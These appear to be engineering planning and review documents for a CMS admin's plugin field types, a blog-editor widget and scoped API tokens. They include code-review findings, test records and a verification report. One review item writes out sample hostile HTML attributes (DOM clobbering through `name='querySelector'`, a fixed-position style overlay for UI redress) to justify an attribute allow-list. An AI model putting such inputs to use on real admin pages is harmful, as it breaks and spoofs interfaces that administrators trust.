+- `captureAttributes` and `renderCaptured` drop only `on*` names. Every other attribute of a paragraph, heading, list, table, cell, image, figure or link, and every attribute of a `span`, is rendered by ProseMirror into the contenteditable view in the admin document. This happens on the form and also on the read-only preview screen, which renders the element with `disabled`.
+- Legacy imported HTML is never sanitized by an untouched save, so its attributes reach the admin DOM unchanged:
+  - `<img src=… name="querySelector">` clobbers `document.querySelector` (Document named properties override built-ins) and breaks the SPA while the post is open.
+  - `style="position:fixed;inset:0;z-index:99999;…"` can overlay the admin UI with attacker text (UI redress).
+  - `srcset` and `background` load remote resources.
+- The policy also allows `id` globally, so any administrator can plant window-level named elements.
+- Plan 02's statement "Stored HTML never reaches the live admin DOM" is inaccurate for attributes.
+
+**Fix:** Switch to an allow-list that mirrors the server policy: `class`, `style` (filtered to the four allowed properties, as in htmlGate), `dir`, `lang`, `title`, `itemscope`/`itemtype`/`itemprop`, `data-message-*`, plus element-specific attributes. Keep any other attribute only as an opaque value on the node, and serialize it in the inert document without rendering it in the view. One way is to render `htmlAttrs` in the view through `addNodeView` or a `renderHTML` that filters by a view-safe list, while the serializer path emits everything. At minimum, drop `id`, `name`, `form`, `srcset`, `contenteditable`, `popover*` and `style` from the view rendering.
+
+### WR-06: Translatable Decode can receive non-string values despite the documented pact contract
+
+**File:** `modules/cabana/field_type.go:476-486`, `modules/pact/capabilities.go` (FormFieldValue doc: "it is a string for a translatable type")
+**Issue:** `liftMLValues` validates only object-shaped submissions. A scalar submitted for a translatable plugin field (`null`, `3`, `true`) passes through `projectOperation` and reaches `ft.def.Decode` as `nil`/`float64`/`bool`. The published API promises a string, so a third-party type that does `in.Value.(string)` will panic, and the save fails as an unexpected 500. Journal guards against this; the framework contract does not.
+**Fix:** Enforce the contract in `decodePluginFields` before calling `decodeOne` for a translatable default value:
+
+```go
+switch v := value.(type) {
+case string:
+case nil:
+    value = ""
+default:
+    return pluginDecodeResult{}, &ValidationError{Details: fieldDetail(field.Name, "The "+field.Name+" field must be text or an object of locale codes to text.")}
+}
+```
+
+Alternatively, change the pact doc to "any JSON scalar".
+
+### WR-07: "View site" links to the admin's own origin, which is wrong for the headless deployment
+
+**File:** `admin/src/components/shell/AppShell.vue:25-27, 40-48`
+**Issue:** `siteURL = ${window.location.origin}/` assumes the public site and the admin share an origin. v1 is a headless backend with a separate Nuxt frontend. When the admin is served from an API or admin host, the link opens the Go binary's root (the SPA shell or a 404), not the site. WinterCMS's "View site" uses the configured application URL. The link attributes themselves are safe (`noopener noreferrer`, fixed origin).
+**Fix:** Serve the site URL from configuration, for example an `app.url` or `backend.site_url` key exposed in `/navigation` or `/me`. Hide the link when the key is unset, or fall back to the origin only when it is explicitly configured as the same host. Update the module README and config docs in the same change.
+
+### WR-08: The phase gate prints "Phase 16.2 gate passed" (exit 0) without running the data-loss regression suites
+
+**File:** `scripts/check-phase16.2.sh:521-544`
+**Issue:** The header calls the script fail-closed. Yet `--all` (the default mode) exits 0 and prints "Phase 16.2 gate passed" when Docker is unreachable. The Postgres stage holds `TestPostsAdminResaveKeepsHTML`, `TestPostsAdminSaveSanitizesHTML`, `TestCategoriesAdminContent`, `TestCategoriesAdminBlogEditor` and `TestFieldTypeSavePostgres`, which are this phase's D-03/D-10 acceptance tests. Plan 06 records that this host has no Docker, so the green gate was produced without them. A CI job or a later reader that trusts the exit code will treat the phase as verified.
+**Fix:** Make the default fail closed. Exit non-zero, or at least print "Phase 16.2 gate INCOMPLETE" and exit 3, when Postgres did not run, unless `PHASE162_ALLOW_NO_POSTGRES=1` is set. This inverts the current `PHASE162_REQUIRE_POSTGRES` opt-in.
+
+## Info
+
+### IN-01: An embed placeholder that both policies accept may never expand
+
+**File:** `../vue-journal-layer/app/utils/embeds.ts:41`
+**Issue:** `EMBED_PLACEHOLDER` matches only `data-embed` before `data-id`, double-quoted, with an empty body. A placeholder written in the Source tab as `<figure data-id="…" data-embed="youtube"></figure>` passes the Go policy and the layer sanitizer. sanitize-html keeps attribute order, so it renders as an inert empty figure with no error anywhere. The editor's Embed node accepts either order (`extensions.ts:327-341`).
+**Fix:** In the layer, match either attribute order (or parse the figure's attributes after sanitizing). Alternatively, have Decode normalize the placeholder's attribute order.
+
+### IN-02: The expanded YouTube iframe has no `sandbox`, and the exported `/g` regex carries shared `lastIndex` state
+
+**File:** `../vue-journal-layer/app/utils/embeds.ts:41, 56-60`
+**Issue:** The iframe is fixed to youtube-nocookie with a validated id, which is fine, but it has no `sandbox` attribute as defence in depth. `EMBED_PLACEHOLDER` is an exported global regex; a consumer that calls `.test()` or `.exec()` on it gets stateful results.
+**Fix:** Add `sandbox="allow-scripts allow-same-origin allow-presentation allow-popups"`. Export a factory or a non-global pattern and build the `/g` regex inside `expandEmbeds`.
+
+### IN-03: Plugin aliases can shadow list column types, and ListValue is then silently ignored
+
+**File:** `modules/cabana/field_type.go:104-109`, `modules/cabana/list_schema.go:22-24, 242-251`
+**Issue:** `checkFieldTypeDef` refuses only `formFieldTypes`. A plugin alias `date`, `datetime` or `time` is accepted at boot, but a list column of that type resolves to the built-in column type and never calls the plugin's `ListValue`.
+**Fix:** Also refuse aliases in `listColumnTypes`.
+
+### IN-04: `crypto.randomUUID()` throws outside a secure context
+
+**File:** `../sm-journal-plugin/assets/src/blogeditor/element.ts:551`
+**Issue:** On an admin served over plain HTTP from a non-localhost host (a LAN dev box), `crypto.randomUUID` is undefined and every upload throws. The status line still says "uploading".
+**Fix:** Fall back to `crypto.getRandomValues` or a counter for the request id.
+
+### IN-05: content_html translations are skipped silently when the application is unavailable
+
+**File:** `../sm-journal-plugin/controllers/posts.go:263-270`
+**Issue:** `writeContentHTMLTranslations` returns nil when `c.application()` or the writer is nil, while cabana has already written the `content` translation through its own writer. The two columns then diverge with no error.
+**Fix:** Return an error, which aborts the transaction, when a non-default write exists but no writer can be resolved.
+
+### IN-06: Untouched detection cannot be byte-exact for legacy content with invalid UTF-8
+
+**File:** `modules/cabana/field_type.go:641-651`
+**Issue:** JSON transport replaces invalid UTF-8 with U+FFFD, so the echoed value never equals the served value under `sameJSON`. An untouched save then rewrites such a row with replacement characters, which breaks D-03 for those rows.
+**Fix:** Document the limitation, or compare after normalizing the served value with `strings.ToValidUTF8(s, "<22>")`.
+
+### IN-07: "Edit as HTML" selects the first identical block
+
+**File:** `../sm-journal-plugin/assets/src/blogeditor/element.ts:524-532`
+**Issue:** `textarea.value.indexOf(html)` selects the first occurrence when two raw HTML blocks are identical, so the wrong block is highlighted.
+**Fix:** Pass the node position and map it to the block's source offset through `#blocks`.
+
+### IN-08: Plugin-typed fields cannot declare `readOnly`/`hidden`/`disabled` in YAML
+
+**File:** `modules/cabana/field_type.go:33-36`
+**Issue:** `pluginFieldKeys` excludes general keys such as `readOnly` (and `checkFieldTypeDef` forbids options with those names), but `PluginField.vue:50` honours `field.readOnly`. A plugin field can therefore never be made read-only from fields.yaml.
+**Fix:** Allow the general keys the SPA and server already understand (`readOnly`, `hidden`, `placeholder`, `cssClass`) for plugin fields, or document the restriction in `docs/backend/field-types.md`.

+
+### 1. Postgres suites on a Docker host
+expected: bash scripts/check-phase16.2.sh postgres passes. This is the end-to-end proof for the CR-01 and WR-04 Load changes and for the category save.
+result: issue
+reported: "Run by Claude on this Docker host (2026-10-10 16:57): the postgres stage fails in ./modules/cabana: --- FAIL: TestPhase10OpenAPIConformance: openapi_conformance_test.go:418: admin route GET /field-types has no conformance case. The stage stops there, so the Journal admin harness suites (TestPostsAdminResaveKeepsHTML, TestPostsAdminSaveSanitizesHTML, TestCategoriesAdminContent, TestCategoriesAdminBlogEditor) did not run."
+severity: major
+
+### 2. D-19 category content on UAT (WINDOWS 18)
+expected: Change one word in a category body and save. No removal notice appears, and the site shows the change.
+result: issue
+reported: "something is wrong. Updated content in https://uat.grzybyfunkcjonalne.pl/gfadmin/golem15/journal/categories/2 (\"Te grzyby, szczególnie\" changed into \"Te grzyby, a szczególnie\") and i see the change in backend even after refresh but not on frontend"
+severity: major
+
+### 3. Untouched re-save after the next deploy (with the CR-01/WR-04 fixes)
+expected: Re-save posts 1 and 64 untouched. The md5 SELECT is unchanged (1: a026264105f900175b9770e637e5ec5c both columns; 64: 0e4be845390b1656871513957d471a7c:e785e14e80f6400534e16b4769749d3c) and updated_at moves.
+result: blocked
+blocked_by: release-build
+reason: "User: posts resaved. Claude checked UAT read-only at 15:05 UTC: md5 of posts 1 and 64 equal the snapshot and updated_at moved (15:05:09 / 15:05:18 UTC). But the UAT binary /srv/grzybyfunkcjonalne/go/bin/grzybyfunkcjonalne dates from 12:27 UTC, before v0.1.19 was tagged, so the CR-01/WR-04 fixes are not deployed yet. Re-run after the v0.1.19 deploy."
+
+### 4. Preview pane in a real browser (quick 261010-iwu)
+expected: 50/50 split; the pane wraps below the editor when the element is narrower than about 720px; a <script> in a raw HTML block stays inert; YouTube thumbnails load; relative /storage images resolve.
+result: pass
+
+### 5. Accept the sandboxed preview iframe as an exception to plan 02's "no iframe in the admin"
+expected: The human accepts the empty-sandbox srcdoc preview, or asks for a change.

+## Wave 0 Requirements
+
+- [x] `../sm-journal-plugin/package.json`, `package-lock.json`, `vite.config.ts`, vitest + happy-dom setup, `scripts/check-dist.sh` (plan 02)
+- [x] `../sm-journal-plugin/tests/blogeditor/fixtures/editor-corpus.json` (plan 02) and its layer copy `../vue-journal-layer/tests/fixtures/editor-corpus.json` (plan 04)
+- [x] `../sm-journal-plugin/classes/editor_policy_test.go` (plan 03, extended in plan 06)
+- [x] `modules/cabana/field_type_test.go` — registry, options, compile, decode, notices, skip, load, list, writes, routes, upload (plan 06)
+- [x] `admin/tests/form/PluginField.test.ts` — stub custom element (plan 01, extended in plan 06)
+- [x] `../vue-journal-layer/tests/embeds.test.ts` (plan 04, extended in plan 06)
+
+---
+
+## Manual-Only Verifications
+
+| Behavior | Requirement | Why Manual | Test Instructions |
+|----------|-------------|------------|-------------------|
+| Editing imported posts on UAT | Phase goal | Real browser editing of live posts | Open an imported post, save untouched (no notice, md5 unchanged), then edit and save; compare columns |
+| Strip and report on UAT | D-10 (amended) | Needs the admin session and a real save | Add a harmless style block and onclick in the source tab of an unpublished test post, save: it succeeds, the notice names both, the stored columns are equal and contain neither (plan 05 Task 3) |
+
+---
+
+## Validation Sign-Off
+
+- [x] All tasks have `<automated>` verify or Wave 0 dependencies
+- [x] Sampling continuity: no 3 consecutive tasks without automated verify
+- [x] Wave 0 covers all MISSING references
+- [x] No watch-mode flags
+- [x] Feedback latency < 120s for the Docker-free stages; the Docker suites run in the gate's postgres stage on a Docker host (`PHASE162_REQUIRE_POSTGRES=1 bash scripts/check-phase16.2.sh --all`, 16.2-07)
+- [x] nyquist_compliant set to true in the frontmatter
+
+**Approval:** automated map complete (plan 06, 2026-10-10); the Docker-host suites are automated in the gate's postgres stage since plan 07 (2026-10-10); the UAT rows above stay manual

+# Phase 16.2: Plugin-provided field types and the Blog Editor formwidget Verification Report
+
+**Phase Goal:** Plugins can register their own admin form field types (todo: cabana-richeditor-field-type), and the Journal plugin ships a first-class Blog Editor formwidget for post content (beyond the current markdown field or a plain rich editor) that edits imported HTML posts losslessly.
+**Verified:** 2026-10-10T17:05:00Z
+**Status:** human_needed
+**Re-verification:** No, initial verification
+
+ROADMAP lists no success criteria and REQUIREMENTS.md has none for this phase, so the must-haves are the six plans' frontmatter truths, keyed to CONTEXT decisions D-01 to D-19. They are merged into 14 truths below.
+
+## Goal Achievement
+
+### Observable Truths
+
+| # | Truth | Status | Evidence |
+|---|-------|--------|----------|
+| 1 | D-11: a plugin registers a value-bearing field type under a short alias; duplicate aliases across plugins and clashes with core types fail boot | ✓ VERIFIED | `pact.HasFormFieldTypes` (capabilities.go:491). `compileFieldTypes` (field_type.go:151) checks the alias pattern and core-type clash, and names both owners on a cross-plugin clash. It is called from `Activate` (http.go:99) and passed to `compileRegistryWithTypes`. `TestFieldTypeRegistry` and `TestFieldTypeCompile` pass in the gate |
+| 2 | D-12.1: plugin fields accept the general keys plus the type's Options; other keys and CheckOptions errors fail boot | ✓ VERIFIED | `pluginFieldKeys` and `fieldKeyAllowed`, plus `compilePluginField` running CheckOptions. `TestFieldTypeOptions` passes |
+| 3 | D-12.2 and D-10 (framework): Decode runs inside the save transaction per locale; FormFieldError becomes 422 with no write; other errors become an opaque 500; notices become meta.notices only when present | ✓ VERIFIED | crud.go:609-636: lift, then loadRecord, then `decodePluginFields`, then Fill, all inside `s.transaction`. crud.go:733 calls `localizeNotices`, and `RecordMeta.Notices` is `json:"notices,omitempty"`. WR-06 adds a 422 for a non-string translatable value. `TestFieldTypeDecode` and `TestFieldTypeNotices` pass |
+| 4 | D-12.3 and D-12.4: Show and the save response serve plugin fields through Load (per locale); list columns use ListValue | ✓ VERIFIED | `hydratePluginFields` is called in Show (crud.go:447) and in save (crud.go:728). `projectRowCtx` calls `ListValue` (http.go:1114). `TestFieldTypeLoad` and `TestFieldTypeListValue` pass |
+| 5 | D-03 (server half): on update, a value equal to the served value is neither decoded nor written | ✓ VERIFIED | `decodeOne` compares with `servedFieldValue` (Load over the loaded record) through `sameJSON` and skips. An untouched default-locale value is deleted from Projected. The behavioural test `TestFieldTypeUntouched` passes |
+| 6 | D-14 and D-06: translatable plugin types use cabana's ML lift, translation writer and hydrate; Form hooks read writes through `FieldWritesFromContext` | ✓ VERIFIED | Translations are decoded in place on the `mlValue` items that `applyMLTranslations` writes. `withFieldWrites` (crud.go:636) feeds `FieldWritesFromContext`. `TestFieldTypeWrites` passes |
+| 7 | D-13 and D-15: the SPA loads field-type assets globally after login; PluginField/MLPluginField bind `value` and `summer-change`; the schema carries plugin fields generically; OpenAPI, TS types, dist and docs are regenerated | ✓ VERIFIED | `loadFieldTypes` is called in main.ts:26 and LoginView.vue:33. `registry.ts` routes any field with `element` to PluginField or MLPluginField. PluginField only re-sets `value` when it differs (echo guard). admin.json and schema.d.ts carry `element`, `translatable` and `typeOptions`. Gate docs stage: check-admin-openapi, check-admin-dist and TestDocsTree pass. Vitest 1218/1218 |
+| 8 | D-18: cabana-owned upload route (guard, X-Requested-With, permissions, declared op, record scope, body cap) answers 201 {data:{url}}; Journal Upload accepts only sniffed jpg/jpeg/png/gif/webp up to 10240 KiB | ✓ VERIFIED | Route at http.go:360, wrapped in `requireAjax`. `fieldUpload` calls `protect` and `operationDeclared` (WR-01), reads the whole body before Upload (WR-02) and scopes the record through `loadRecord`. Journal `uploadBlogImage` sniffs the bytes. `StoreMedia` enforces the extension allowlist, so a PNG named `.svg` is refused there, and caps the size. `TestFieldUpload`, `TestBlogEditorUpload` and `TestStoreMedia` pass. UAT edit-ok shows an image under journal/posts |
+| 9 | D-01, D-04, D-16: Blog Editor is a TipTap WYSIWYG custom element `golem15-journal-blogeditor` with a source tab, a toolbar (headings, marks, lists, links, blockquote, tables, images, embeds, raw HTML), unknown blocks shown as raw cards, and a committed and embedded bundle with a dist drift gate | ✓ VERIFIED | assets/src/blogeditor/*.ts and toolbar.ts provide H2-H4, bold, italic, lists, link, blockquote, table ops, image, embed and rawHtml. extensions.ts lists the raw block tags (footer, section, aside, details…). admin.go:22 embeds the dist. `check-dist.sh` (diff -r) passes in the gate. Editor vitest 232/232 |
+| 10 | D-03 (editor and Journal halves) and todo journal-imported-html-admin-resave: an untouched value round-trips byte-identically; Load serves HTML content verbatim and markdown as content_html; an untouched save leaves content and content_html byte-identical | ✓ VERIFIED | The element's `value` getter returns the stored string in clean mode and uses `serializeDocument` (top-level block reuse) only after an edit. It never calls `getHTML`. `loadBlogHTML` implements D-07 plus the CR-01 and WR-04 refinements. element.test.ts, `TestBlogEditorLoad` and `TestFieldTypeUntouched` pass. UAT: post 1 (HTML) and post 64 (markdown) kept the same md5 after untouched saves, and updated_at moved (16.2-05 SUMMARY, follow-up section). The Postgres `TestPostsAdminResaveKeepsHTML` did not run (human item 1) |
+| 11 | D-02, D-07, D-08, D-09: post content is `mlblogeditor` (excerpt unchanged); an admin save stores the same sanitized HTML in content and content_html per locale without goldmark; the public write API keeps markdown and FormatHTML | ✓ VERIFIED | models/post/fields.yaml: `type: mlblogeditor`, `htmlColumn: content_html`. `preparePostWrite` copies the default-locale write into `ContentHTML`. `writeContentHTMLTranslations` writes non-default locales through `WriteTranslated`. The only remaining FormatHTML callers are the API helpers, the import console and Load's markdown fallback. No migration or column was added. `TestPostsEditorHooks` passes. UAT edit-ok: content = content_html |
+| 12 | D-10 (amended) and D-05: Decode stores `SanitizeHTMLReport` output and reports removals as notices, never refusing on markup; the policy gains exactly four editor-output rules; every corpus entry passes byte for byte | ✓ VERIFIED | `decodeBlogHTML` and `removalNotices` are in blog_editor.go. Commit 2384a61 adds only `figure data-embed ^youtube$`, `figure data-id ^[A-Za-z0-9_-]{11}$`, `img alt` and `ol start ^[0-9]+$`. `TestEditorOutputPassesPolicy`, `TestSanitizeHTMLReport`, `TestBlogEditorDecode` and `TestBlogEditorNotices` pass. On UAT a style element and an onclick attribute were stripped and the notice was confirmed by the human |
+| 13 | D-17 and D-05 (layer): `expandEmbeds(sanitizeJournalHtml(html))` at the PostBody and CategoryHeader sinks, with payload transforms only sanitizing; htmlGate mirrors the four rules; corpus copies identical; v0.2.0 tagged and pinned | ✓ VERIFIED | PostBody.vue:13 and CategoryHeader.vue:11 expand last. postView.ts and CategoryPage.vue only sanitize. `expandEmbeds` builds the iframe only from an allowlisted provider, a validated id and a fixed host. `cmp` of the two corpus files is identical. Tag v0.2.0 exists on origin (759e684). The app's package.json pins `#v0.2.0`. Layer 144/144. UAT site-ok found 1 youtube-nocookie iframe |
+| 14 | D-19 (amended): category content uses blogeditor and is stripped and reported; the 422 CheckHTML gate is retired | ⚠️ PRESENT_BEHAVIOR_UNVERIFIED | models/category/fields.yaml has `type: blogeditor`. `prepareCategoryWrite` only nulls blank content, and no CheckHTML caller remains. The end-to-end category save is covered only by the Docker-only `TestCategoriesAdminContent` and `TestCategoriesAdminBlogEditor` (not run), and the UAT category step was never done |
+
+**Score:** 13/14 truths verified (1 present, behavior-unverified)
+
+Release truths from plan 05 are verified separately. Tag v0.1.18 is an annotated tag object 04dc5bd on origin, pointing at commit f1d8a75. The UAT binary sha256 matched the local build, and the on-server smoke passed on 98 URLs. These rest on SUMMARY records; the tag is confirmed directly with `git ls-remote`.

+
+### Prohibitions (judgment tier, non-authoritative LLM verdicts)
+
+| Prohibition | Verdict |
+|-------------|---------|
+| No package-level mutable field type registry in cabana | Holds. The only package-level vars are regexes and a static key set. The registry is built per Activate |
+| The element never receives a token, cookie, function or Vue instance | Holds. PluginField sets only `value` and string attributes; uploads go through `api.POST` |
+| Core field types, the `type: widget` contract and CompileForm unchanged | Holds as far as the gate shows. TestPhase10CSRF, TestPhase09ContractInventory and ExampleCompileFormWithTypes pass, and settings and relation forms use a refusing registry |
+| Framework docs name no consuming application | Holds. grep for journal, grzyb, fonoteka and blogeditor in field-types.md, forms.md and the two READMEs finds nothing |
+| The editor never re-serializes an untouched document or uses getHTML() | Holds. The clean-mode getter returns the stored string |
+| No eval, no `new Function`, no style injection | Holds. `injectCSS: false`, and no eval in the sources |
+| The element renders no iframe and no live raw HTML in the admin | **Flagged for human review.** The preview pane folded in from quick 261010-iwu adds a lazily created iframe with an empty `sandbox`, `srcdoc` only and a CSP meta. Raw blocks in the editor itself still render as escaped text |
+| htmlPolicy gains only the four editor rules; the layer mirrors the same four | Holds. Diff 2384a61 and htmlGate.ts:122-127 |
+| Public write API and media route keep the PHP contract | Holds. Posts still go through FormatHTML in the API helpers, and media.go keeps its error mapping through MediaError |
+| No format flag, column or migration | Holds. No migration commit in updates/ during the phase |
+| Executor ran only SELECTs on UAT; no credentials handled; no tag moved | Taken from the SUMMARY; the tags are unmoved on origin |
+| Tests not weakened | Taken from the SUMMARY: the 16.1 policy test files are unchanged since c60abc6 |
+
+### Anti-Patterns Found
+
+| File | Line | Pattern | Severity | Impact |
+|------|------|---------|----------|--------|
+| (none) | | No TBD, FIXME, XXX, TODO or HACK marker in the phase's source files | | |
+
+Known open review items, skipped by decision (16.2-REVIEW-FIX.md):
+- WR-07: View site uses the admin origin.
+- WR-08: the gate passes with postgres NOT RUN; `PHASE162_REQUIRE_POSTGRES=1` enforces it.
+- IN-01 to IN-03 and IN-05 to IN-08.
+
+These are information only and do not block.
+
+### Human Verification Required
+
+#### 1. Postgres suites on a Docker host
+
+**Test:** `bash scripts/check-phase16.2.sh postgres`
+**Expected:** Every named suite passes. This covers WINDOWS 11, 12, 14 to 16, 20 and 21.
+**Why human:** No Docker on this host. These suites are the only end-to-end proof of the CR-01 and WR-04 Load changes and of the category strip.
+
+#### 2. D-19 category edit on UAT
+
+**Test:** Change one word of a category's content in the Blog Editor and save.
+**Expected:** No removal notice; the site shows the change.
+**Why human:** WINDOWS 18; never performed.
+
+#### 3. Re-confirm the untouched resave after the review-fix deploy
+
+**Test:** After v0.1.19 is deployed, save posts 1 and 64 untouched and re-run the md5 SELECT.
+**Expected:** The md5 values equal the 16.2-05 snapshot.
+**Why human:** The UAT proof ran on v0.1.18, before the CR-01 and WR-04 Load changes. The code reading says the outcome is unchanged for these posts.
+
+#### 4. Preview pane browser check
+
+**Test:** Check the layout, the sandbox (script in a raw block), the embed card and relative images.
+**Expected:** As listed in the 261010-iwu SUMMARY.
+**Why human:** Real browser behaviour.
+
+#### 5. Accept the preview iframe against the plan 02 prohibition
+
+**Test:** Decide whether the sandboxed srcdoc preview is an accepted exception to "no iframe in the admin".
+**Expected:** Accept, or ask for a change.
+**Why human:** Judgment-tier prohibition.
+
+### Gaps Summary
+
+No must-have failed. The framework API (pact.HasFormFieldTypes, the cabana registry, the decode/skip/load/list runner, meta.notices, the upload route), the SPA host, the Journal Blog Editor (element, Go types, policy, hooks, storage) and the layer's embed expansion all exist, are substantive and are wired. The fixed tree passes the phase gate here, and vet is clean in both Go repositories. On UAT (v0.1.18) the goal was proven on real data:
+- An imported HTML post and a markdown post re-saved untouched with identical md5.
+- An edited post stored identical content and content_html, with an uploaded figure and a YouTube placeholder.
+- Disallowed markup was stripped and reported.
+- The site rendered a youtube-nocookie iframe.
+
+Status is `human_needed`, not `passed`, for three reasons:
+- The Docker-only Postgres suites have never run.
+- The D-19 category path has no executed end-to-end evidence: no Postgres run and no UAT step.
+- The review fixes (CR-01, WR-01 to WR-06, IN-04) are committed but not deployed or tagged, so the UAT evidence predates them. summercms.go master is 13 commits ahead of origin, and the sm-journal-plugin test and fix commits are not pushed either.

+# Phase 16.3: Backend admin personal API tokens with scopes - Context
+
+**Gathered:** 2026-10-10
+**Status:** Ready for planning
+
+<domain>
+## Phase Boundary
+
+Backend users can create personal API tokens (`g15_…`) with one or more scopes picked at creation time. The framework `backend` guard accepts such a token as well as the admin JWT, and the request runs as the token's owner. Access is the intersection of the token's scopes and the owner's own permissions. Tokens are managed in the admin SPA (`/account`, own tokens) and through `summer admin:token:*` CLI commands (any user). The Journal plugin registers its scopes and accepts tokens on its write routes, so an agent can manage blog posts as a backend author.
+
+Repos: `summercms.go` (cabana/bouncer guard, token model and migration, scope registry, account API, admin SPA panel, CLI, READMEs and docs); `sm-journal-plugin` (scope registration, switch to the framework principal helper); host applications only for the version bump.
+
+Out of scope: a backend-user management screen, a superuser view of all tokens, migrating Apparatus tokens, Payment and Fonoteka scopes (they register through the same API when their phases need them).
+
+</domain>
+
+<decisions>
+## Implementation Decisions
+
+### Scope model
+- **D-01:** Scopes are named and registered by plugins through a new pact capability (working name `pact.HasTokenScopes`). Each scope has a name, a label and description (phrasebook keys), a list of permission patterns (Winter `.*` wildcard semantics, Phase 9 D-03) and a list of allowed HTTP methods. The naming convention is `<plugin>` for full access and `<plugin>:read` for read-only, e.g. `journal` → `golem15.journal.*` with all methods. A duplicate scope name fails boot loudly. — **Reversibility:** costly — plugins implement the capability and stored tokens reference scope names.
+- **D-02:** Read-only is enforced by the scope's method list. A `:read` scope allows only `GET`/`HEAD`, and the framework refuses any other method with 403 before the handler runs. Plugins do not change their handlers for this. A POST that only reads (search) is not reachable with a read scope; that is accepted.
+- **D-03:** A token holds several scopes. A request passes if any one scope allows it, meaning its method list includes the request method and its patterns match every required permission. Scopes are immutable after creation.
+- **D-04:** Framework scopes:
+  - `*` means full access: all methods, and it behaves exactly like the owner.
+  - `admin:read` means system-wide read-only: `GET`/`HEAD` on everything the owner can see.
+
+  Journal registers `journal` and `journal:read`. Payment (`payment:read`) and Fonoteka scopes come with their own phases through the same API.
+- **D-05:** Deny by default. A token reaches a route only when a scope covers it. When `cabana.Allows` is called with an empty permission list under a token, only `*` (and `admin:read` for GET/HEAD) passes; other scoped tokens are refused. `GET /auth/me` is always allowed to any valid token, so an agent can see who it is.
+- **D-06:** An explicit "interactive only" marker covers account changes (`PUT /account`, password, email, avatar), token management (create, list, revoke) and logout/refresh. These routes refuse every token, including `*`, and need an admin JWT session. A leaked token cannot take over the account or mint new tokens. — **Reversibility:** reversible.
+
+### Token lifecycle
+- **D-07:** The format keeps the Apparatus shape: `g15_` + 40 lowercase hex chars (20 random bytes from `crypto/rand`, 160 bits). Only the sha256 hex is stored, in a unique indexed column, along with the last 4 characters as a display hint (`g15_…a1b2`). There is no checksum suffix. — **Reversibility:** one-way — issued tokens live in agent and integration configs.
+- **D-08:** Expiry is optional. The SPA picker offers 30 / 90 / 365 days / never, defaulting to 90 days. The CLI accepts `--expires=30d|90d|365d|never` or a date, also defaulting to 90 days. Expired tokens return 401.
+- **D-09:** Revoking is a soft revoke. It sets `revoked_at` and `revoked_by` and keeps the row for audit. Revoked tokens return 401 and are hidden from the default list, with an option to show them. Name, scopes and expiry cannot be edited: to change one, create a new token and revoke the old one.
+- **D-10:** The owner is loaded fresh on every request through the existing `BackendUsers.FindByID` path. Deactivating (`is_activated=false`) or soft-deleting the owner makes all their tokens fail with 401. A password reset and the JWT `tokens_valid_after` cutoff do **not** invalidate tokens, so routine password changes don't break agents.
+- **D-11:** `last_used_at` is stamped on use, at most once per minute per token, so every request isn't a write. Lists show name, scopes, hint, `created_at`, `last_used_at`, `expires_at`, and revoked state.
+- **D-12:** The table is framework-owned. It is appended to `BackendAdminMigrations` (history id `summercms.cabana`) as a raw-SQL migration with a dated ID. Columns are roughly: id, backend_user_id (FK), name, token_hash (unique), token_hint, scopes (JSON array of names), expires_at, last_used_at, revoked_at, revoked_by, timestamps. Apparatus `golem15_apparatus_personal_api_tokens` rows are **not** migrated.
+
+### Guard and Journal wiring
+- **D-13:** The cabana `backend` guard becomes composite. `Authorization: Bearer g15_…` goes to the token lookup; everything else (Bearer JWT or the admin cookie) goes to the existing `NewBackendJWTGuard` path unchanged. Tokens are accepted only in the Bearer header, never from a cookie or query string. The token row is returned as the bouncer credential (`CredentialGuard`). — **Reversibility:** costly — every backend-authenticated route goes through it.
+- **D-14:** The permission side of the scope check lives in the principal. A token-authenticated `Principal` carries its scopes' permission patterns and methods, and `cabana.Allows` requires **both** an owner grant and a matching scope pattern. Every existing check (admin CRUD `RequiredPermissions`, actions, Journal's direct `Allows` calls) is restricted with no per-route annotation. A superuser holding a scoped token is still limited to the scope. The method check runs once, in the guard or middleware. — **Reversibility:** costly — `Allows` semantics change for every caller.
+- **D-15:** Cabana exports a principal resolver, working name `cabana.BackendPrincipal(r)` or similar, that runs the composite guard plus the scope and method checks for routes that don't sit under the `backend` middleware. Journal's `controllers/api/auth.go` uses it instead of building its own `NewBackendJWTGuard`. Journal's error bodies and status codes stay byte-identical (`{"error":"Authentication required"}` 401, its existing 403). The public read routes stay optional-auth, so a valid token with `journal` or `journal:read` also unlocks drafts where the owner may see them. This reverses Phase 15 D-15. — **Reversibility:** reversible.
+
+### Admin SPA and CLI
+- **D-16:** The SPA panel is an "API tokens" section on `/account` (`AccountView.vue`). It lists, creates and revokes the current user's own tokens only. There is no superuser view of other users' tokens; superusers use the CLI. The plaintext is shown once after creation with a copy button and a clear "you won't see this again" notice, and is never retrievable afterwards.
+- **D-17:** The scope picker lists registered scopes with label and description. It hides scopes that grant the current user nothing (no overlap between the scope's patterns and their grants). `*` is always shown, labelled as full access ("everything you can do"). The server re-validates scope names and the overlap rule on create (422 on an unknown or empty scope).
+- **D-18:** Account token endpoints sit under the admin API (Phase 9 D-09/D-10 envelope), for example `GET/POST /_admin/api/v1/account/tokens`, `DELETE /account/tokens/{id}` (revoke) and `GET /account/tokens/scopes`. They carry swag annotations so the OpenAPI document and the SPA TS types cover them, and they are interactive-only (D-06).
+- **D-19:** CLI commands in cabana, beside `admin:create`:
+  - `admin:token:create <login|email> --name=… --scope=journal [--scope=payment:read] [--expires=90d|never]` prints only the plaintext token to stdout so it can be piped.
+  - `admin:token:list [<login|email>] [--revoked]`
+  - `admin:token:revoke <id>`
+  - `admin:token:scopes` lists registered scopes.
+
+  The CLI may create tokens for any backend user and applies the same overlap validation as D-17.
+- **D-20:** Module READMEs (cabana, bouncer if its API changes, pact for the new capability) and the `docs/` pages cover the token API, the scope registration capability, the framework scopes and the CLI commands, per the project documentation rules. The Journal README documents its scopes and token auth.
+
+### Claude's Discretion
+- Exact names: the pact capability, the scope struct, the principal resolver, the table (`backend_api_tokens` or similar), and the interactive-only marker.
+- How scopes are stored (JSON array vs `text[]`), and what an unknown scope name does at request time after a plugin drops it. Recommended: it grants nothing and is shown as unknown in lists.
+- How the 403 for a scope refusal is reported in the framework envelope (e.g. `details.reason = "token_scope"`).
+- Whether token requests get their own throttle bucket; reuse an existing throttle shape if cheap.
+- How `last_used_at` is debounced (in-memory per process is fine).

+## Existing Code Insights
+
+### Reusable Assets
+- `modules/bouncer/guard.go`: `Guard`, `CredentialGuard`. `modules/bouncer/context.go`: `Principal` (`Backend`, `IsSuperuser`, `PermissionGrants`), `WithUser`, `WithCredential`.
